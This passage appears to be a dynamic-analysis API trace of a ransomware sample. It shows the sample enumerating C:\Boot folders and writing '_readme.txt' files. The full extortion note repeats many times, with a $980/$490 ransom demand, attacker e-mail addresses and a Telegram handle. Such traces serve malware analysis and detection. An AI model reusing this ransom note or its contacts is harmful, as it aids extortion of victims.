tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.417] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.417] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.417] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.417] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.417] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.417] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.417] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.417] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.417] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.417] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.417] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.417] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.417] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.417] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.417] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.417] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.417] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.418] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.419] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.419] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.420] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.420] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.421] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.421] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0116.421] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.421] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.422] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.422] PathFindFileNameW (pszPath="") returned="" [0116.422] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.422] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.422] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.422] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.422] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.422] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.422] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.422] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0116.422] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.422] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.422] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0116.423] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.423] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact 